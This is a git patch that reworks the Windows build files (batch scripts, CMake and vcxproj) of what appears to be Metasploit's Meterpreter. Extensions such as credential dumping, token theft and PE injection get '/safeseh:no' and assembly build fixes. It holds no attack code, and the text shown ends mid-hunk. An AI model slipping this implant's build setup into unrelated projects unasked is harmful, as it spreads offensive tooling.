From dc23aae6462fae9dc88884658b14d9433d3823d0 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 19 Jun 2025 11:48:21 +1000 Subject: [PATCH 01/24] Tidied up up the build for make.bat and make-cmake.bat builds Removing warnings as well as making the builds work properly outside of Visual Studio and docker. --- c/meterpreter/make-cmake.bat | 10 +- c/meterpreter/make.bat | 7 +- c/meterpreter/workspace/CMakeLists.txt | 1 + c/meterpreter/workspace/CMakeListsFuncs.txt | 9 + .../ReflectiveDLLInjection/CMakeLists.txt | 17 +- .../ReflectiveDLLInjection.vcxproj | 8 +- .../workspace/dump_sam/CMakeLists.txt | 1 + .../workspace/dump_sam/dump_sam.vcxproj | 18 +- .../workspace/elevator/CMakeLists.txt | 1 + .../workspace/elevator/elevator.vcxproj | 12 +- .../ext_server_bofloader/CMakeLists.txt | 1 + .../ext_server_bofloader.vcxproj | 10 +- .../workspace/ext_server_espia/CMakeLists.txt | 2 + .../ext_server_espia/ext_server_espia.vcxproj | 10 +- .../ext_server_extapi/CMakeLists.txt | 1 + .../ext_server_extapi.vcxproj | 10 +- .../ext_server_incognito/CMakeLists.txt | 1 + .../ext_server_incognito.vcxproj | 10 +- .../workspace/ext_server_kiwi/CMakeLists.txt | 1 + .../ext_server_kiwi/ext_server_kiwi.vcxproj | 10 +- .../ext_server_lanattacks/CMakeLists.txt | 2 +- .../ext_server_lanattacks.vcxproj | 10 +- .../ext_server_peinjector/CMakeLists.txt | 1 + .../ext_server_peinjector.vcxproj | 10 +- .../ext_server_powershell/CMakeLists.txt | 1 + .../ext_server_powershell.vcxproj | 10 +- .../workspace/ext_server_priv/CMakeLists.txt | 1 + .../ext_server_priv/ext_server_priv.vcxproj | 10 +- .../ext_server_python/CMakeLists.txt | 1 + .../ext_server_python.vcxproj | 14 +- .../ext_server_sniffer/CMakeLists.txt | 1 + .../ext_server_sniffer.vcxproj | 8 +- .../ext_server_stdapi/CMakeLists.txt | 5 +- .../ext_server_stdapi.vcxproj | 10 +- .../ext_server_unhook/CMakeLists.txt | 1 + .../ext_server_unhook.vcxproj | 10 +- .../ext_server_winpmem/CMakeLists.txt | 1 + .../ext_server_winpmem.vcxproj | 10 +- c/meterpreter/workspace/jpeg/CMakeLists.txt | 5 + c/meterpreter/workspace/jpeg/jpeg.vcxproj | 514 +++++++++--------- c/meterpreter/workspace/make.msbuild | 12 +- c/meterpreter/workspace/metsrv/CMakeLists.txt | 1 + c/meterpreter/workspace/metsrv/metsrv.vcxproj | 10 +- .../workspace/screenshot/CMakeLists.txt | 1 + .../workspace/screenshot/screenshot.vcxproj | 10 +- 45 files changed, 386 insertions(+), 413 deletions(-) diff --git a/c/meterpreter/make-cmake.bat b/c/meterpreter/make-cmake.bat index e68655bf2..95b1923e4 100644 --- a/c/meterpreter/make-cmake.bat +++ b/c/meterpreter/make-cmake.bat @@ -11,8 +11,8 @@ IF NOT EXIST "source\ReflectiveDLLInjection\.git" ( GOTO END ) -SET VS_TITLE=Visual Studio 16 2019 -SET VS_VER=VS2019 +SET VS_TITLE=Visual Studio 17 2022 +SET VS_VER=VS2022 SET PTS_VER=v141_xp SET PSSDK_VER=19 SET BUILD_64=Y @@ -20,7 +20,7 @@ SET BUILD_86=Y SET SNIFFER=OFF SET DBGTRACE=OFF SET DBGTRACE_VERBOSE=OFF -set DO_BUILD=Y +SET DO_BUILD=Y IF "%1" == "NOBUILD" SET DO_BUILD=N IF "%2" == "NOBUILD" SET DO_BUILD=N @@ -102,9 +102,7 @@ IF "%BUILD_86%" == "Y" ( ) ) -FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j -SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% -echo Finished %ldt% +echo Finished %TIME% GOTO END :CLEAN diff --git a/c/meterpreter/make.bat b/c/meterpreter/make.bat index fdce20f28..c147fc7c8 100644 --- a/c/meterpreter/make.bat +++ b/c/meterpreter/make.bat @@ -60,8 +60,9 @@ SET PLAT=x64 GOTO RUN :RUN +echo Started %TIME% PUSHD workspace -msbuild.exe make.msbuild /target:%PREF%%PLAT% /p:PlatformToolset=%PTS_VER% +msbuild.exe make.msbuild /target:%PREF%%PLAT% /p:PlatformToolset=%PTS_VER% /p:XPDeprecationWarning=false POPD IF "%ERRORLEVEL%" == "0" ( @@ -80,9 +81,7 @@ IF "%ERRORLEVEL%" == "0" ( ) ) -FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j -SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% -echo Finished %ldt% +echo Finished %TIME% GOTO END diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt index 21b9b1d16..d6522e19a 100644 --- a/c/meterpreter/workspace/CMakeLists.txt +++ b/c/meterpreter/workspace/CMakeLists.txt @@ -244,3 +244,4 @@ set( foreach(MET_PROJECT ${MET_PROJECTS}) add_subdirectory(${MET_PROJECT}) endforeach() + diff --git a/c/meterpreter/workspace/CMakeListsFuncs.txt b/c/meterpreter/workspace/CMakeListsFuncs.txt index 76f378861..58b5a9cee 100644 --- a/c/meterpreter/workspace/CMakeListsFuncs.txt +++ b/c/meterpreter/workspace/CMakeListsFuncs.txt @@ -13,3 +13,12 @@ function(copyoutput) add_custom_command(TARGET ${ARGV0} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ ${ARGV1}) endfunction() + +function(add_rdi) + enable_language(ASM_MASM) + if("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(x86_64|amd64|AMD64)") + set(SRC_FILES ${SRC_FILES} ../../source/ReflectiveDLLInjection/dll/src/GateTrampoline64.asm PARENT_SCOPE) + elseif("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(i386|i686)") + set(SRC_FILES ${SRC_FILES} ../../source/ReflectiveDLLInjection/dll/src/GateTrampoline32.asm PARENT_SCOPE) + endif() +endfunction() diff --git a/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt b/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt index f94f03797..747498fdd 100644 --- a/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt +++ b/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt @@ -3,12 +3,17 @@ cmake_minimum_required(VERSION 3.15.7 FATAL_ERROR) set(PROJECT_NAME ReflectiveDLLInjection) project(${PROJECT_NAME} ASM) +set(ASM_SUFFIX "s") +if(MSVC) + enable_language(ASM_MASM) + set(ASM_SUFFIX "asm") +endif() set(SRC_DIR ../../source/ReflectiveDLLInjection/dll/src) -if("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(x86_64|amd64)") - set(SRC_FILES ${SRC_DIR}/GateTrampoline64.s) -elseif("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(i386|i686)") - set(SRC_FILES ${SRC_DIR}/GateTrampoline32.s) +if("${CMAKE_GENERATOR_PLATFORM}" STREQUAL "x64") + set(SRC_FILES "${SRC_DIR}/GateTrampoline64.${ASM_SUFFIX}") +elseif("${CMAKE_GENERATOR_PLATFORM}" STREQUAL "Win32") + set(SRC_FILES "${SRC_DIR}/GateTrampoline32.${ASM_SUFFIX}") endif() set_property(DIRECTORY PROPERTY COMPILE_DEFINITIONS) @@ -17,3 +22,7 @@ set(CMAKE_ASM_FLAGS_RELEASE_INIT "") set(CMAKE_ASM_FLAGS_RELEASE "") add_library(${PROJECT_NAME} ${SRC_FILES}) + +if(MSVC) + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") +endif() diff --git a/c/meterpreter/workspace/ReflectiveDLLInjection/ReflectiveDLLInjection.vcxproj b/c/meterpreter/workspace/ReflectiveDLLInjection/ReflectiveDLLInjection.vcxproj index dce0c22b2..78865e13d 100644 --- a/c/meterpreter/workspace/ReflectiveDLLInjection/ReflectiveDLLInjection.vcxproj +++ b/c/meterpreter/workspace/ReflectiveDLLInjection/ReflectiveDLLInjection.vcxproj @@ -201,12 +201,10 @@ - true - true + true - true - true + true @@ -216,4 +214,4 @@ - \ No newline at end of file + diff --git a/c/meterpreter/workspace/dump_sam/CMakeLists.txt b/c/meterpreter/workspace/dump_sam/CMakeLists.txt index d69b3ded8..31e1f5224 100644 --- a/c/meterpreter/workspace/dump_sam/CMakeLists.txt +++ b/c/meterpreter/workspace/dump_sam/CMakeLists.txt @@ -28,6 +28,7 @@ set(LINK_LIBS psapi rpcrt4) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/dump_sam/dump_sam.vcxproj b/c/meterpreter/workspace/dump_sam/dump_sam.vcxproj index bebb0d00d..cded91968 100755 --- a/c/meterpreter/workspace/dump_sam/dump_sam.vcxproj +++ b/c/meterpreter/workspace/dump_sam/dump_sam.vcxproj @@ -73,6 +73,11 @@ + + false + false + false + $(Configuration)\$(Platform)\ $(Configuration)\$(Platform)\ @@ -127,6 +132,7 @@ false false $(ProjectDir)../../source/dump_sam/dump_sam.def + /ignore:4070 %(AdditionalOptions) No @@ -162,6 +168,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName) false DllMain $(ProjectDir)../../source/dump_sam/dump_sam.def + /ignore:4070 %(AdditionalOptions) No @@ -200,6 +207,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" false false $(ProjectDir)../../source/dump_sam/dump_sam.def + /ignore:4070 %(AdditionalOptions) No @@ -235,6 +243,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName) false DllMain $(ProjectDir)../../source/dump_sam/dump_sam.def + /ignore:4070 %(AdditionalOptions) No @@ -258,17 +267,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true + true - Document - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/elevator/CMakeLists.txt b/c/meterpreter/workspace/elevator/CMakeLists.txt index e18964f3f..627257818 100644 --- a/c/meterpreter/workspace/elevator/CMakeLists.txt +++ b/c/meterpreter/workspace/elevator/CMakeLists.txt @@ -27,6 +27,7 @@ set_source_files_properties(${MOD_DEF_DIR}/plugin.def PROPERTIES HEADER_FILE_ONL target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/elevator/elevator.vcxproj b/c/meterpreter/workspace/elevator/elevator.vcxproj index 749cb53ac..1f751c4de 100644 --- a/c/meterpreter/workspace/elevator/elevator.vcxproj +++ b/c/meterpreter/workspace/elevator/elevator.vcxproj @@ -370,16 +370,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - Document - true - true - ASSEMBLE + true - true - true - true + true @@ -389,4 +383,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_bofloader/CMakeLists.txt b/c/meterpreter/workspace/ext_server_bofloader/CMakeLists.txt index fbd48fd03..6e17aa6a3 100644 --- a/c/meterpreter/workspace/ext_server_bofloader/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_bofloader/CMakeLists.txt @@ -42,6 +42,7 @@ endif() target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_bofloader/ext_server_bofloader.vcxproj b/c/meterpreter/workspace/ext_server_bofloader/ext_server_bofloader.vcxproj index 7f564180d..27a5eddac 100644 --- a/c/meterpreter/workspace/ext_server_bofloader/ext_server_bofloader.vcxproj +++ b/c/meterpreter/workspace/ext_server_bofloader/ext_server_bofloader.vcxproj @@ -39,14 +39,10 @@ - true - true - true + true - true - true - true + true @@ -491,4 +487,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt b/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt index a89824aee..68266d623 100644 --- a/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt @@ -30,8 +30,10 @@ endif() set(LINK_LIBS jpeg) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) + if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj index f4ac0d194..cca1e25e2 100644 --- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj +++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj @@ -465,14 +465,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -482,4 +478,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt index cd6b8f713..f40c65c40 100644 --- a/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt @@ -46,6 +46,7 @@ endif() target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj index ef46e556d..351fb3098 100644 --- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -477,14 +477,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -494,4 +490,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt b/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt index 0de663bce..378848e68 100644 --- a/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt @@ -33,6 +33,7 @@ set(LINK_LIBS advapi32 netapi32 mpr) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj index bee876bdc..442dd826c 100644 --- a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj +++ b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj @@ -474,18 +474,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt index 89d17f39f..0ec1ef073 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt @@ -143,6 +143,7 @@ set(LINK_LIBS target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj index ea63cc195..6bf89b821 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj +++ b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj @@ -753,18 +753,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt b/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt index 8e79919c9..d7a388421 100644 --- a/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt @@ -40,7 +40,7 @@ set(LINK_LIBS target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") -else() + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj index 3ccfe362e..b07ae09c4 100644 --- a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj +++ b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj @@ -428,14 +428,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -445,4 +441,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt b/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt index 69343e417..23368756e 100644 --- a/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt @@ -32,6 +32,7 @@ endif() target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj index 137fcc1c4..47214b711 100755 --- a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj +++ b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj @@ -460,14 +460,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -477,4 +473,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_powershell/CMakeLists.txt b/c/meterpreter/workspace/ext_server_powershell/CMakeLists.txt index 6753f1b78..735311f94 100644 --- a/c/meterpreter/workspace/ext_server_powershell/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_powershell/CMakeLists.txt @@ -28,6 +28,7 @@ set(LINK_LIBS psapi ws2_32) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj index 3a7e798f7..95e97a294 100644 --- a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj +++ b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj @@ -461,14 +461,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -478,4 +474,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt b/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt index dea7e258b..7b5c2d92c 100644 --- a/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt @@ -75,6 +75,7 @@ set(LINK_LIBS advapi32 psapi rpcrt4) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj index d005b53bb..8c8af02a6 100644 --- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj +++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj @@ -611,18 +611,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_python/CMakeLists.txt b/c/meterpreter/workspace/ext_server_python/CMakeLists.txt index 8a6de2107..23f3a40fe 100644 --- a/c/meterpreter/workspace/ext_server_python/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_python/CMakeLists.txt @@ -58,6 +58,7 @@ set(LINK_LIBS target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj index a29adbdd6..a6179a115 100755 --- a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj +++ b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj @@ -813,23 +813,17 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_sniffer/CMakeLists.txt b/c/meterpreter/workspace/ext_server_sniffer/CMakeLists.txt index 6f4408066..085b27014 100644 --- a/c/meterpreter/workspace/ext_server_sniffer/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_sniffer/CMakeLists.txt @@ -41,6 +41,7 @@ set(LINK_LIBS ${PSSDK_LIB_DIR}/pssdk_vc${PSSDK_VER}_mt.lib ws2_32) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj index 9993531bf..eb1d54fc5 100644 --- a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj +++ b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj @@ -366,12 +366,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName) - true - true + true - true - true + true @@ -381,4 +379,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName) - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt index 09d1bffba..152f473da 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt @@ -55,12 +55,13 @@ set(LINK_LIBS strmiids ) +target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) + if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() -target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) - # Post processing (required for all Meterpreter DLLs) editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM}) copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR}) diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj index 26e85ed1d..b17e57d30 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj @@ -601,14 +601,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -618,4 +614,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt b/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt index 441903957..aeb87f4de 100644 --- a/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt @@ -30,6 +30,7 @@ endif() target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj index 7b3cceace..c18299cd4 100644 --- a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj +++ b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj @@ -450,14 +450,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -467,4 +463,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt index 44401059a..5d6a6fa09 100644 --- a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt @@ -46,6 +46,7 @@ set(LINK_LIBS target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj index 03ac0a384..1724ce206 100644 --- a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj +++ b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj @@ -454,18 +454,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/jpeg/CMakeLists.txt b/c/meterpreter/workspace/jpeg/CMakeLists.txt index 47d5d6780..2946b1d17 100644 --- a/c/meterpreter/workspace/jpeg/CMakeLists.txt +++ b/c/meterpreter/workspace/jpeg/CMakeLists.txt @@ -63,3 +63,8 @@ set( ) add_library(${PROJECT_NAME} STATIC ${SRC_FILES}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) + +if(MSVC) + target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + 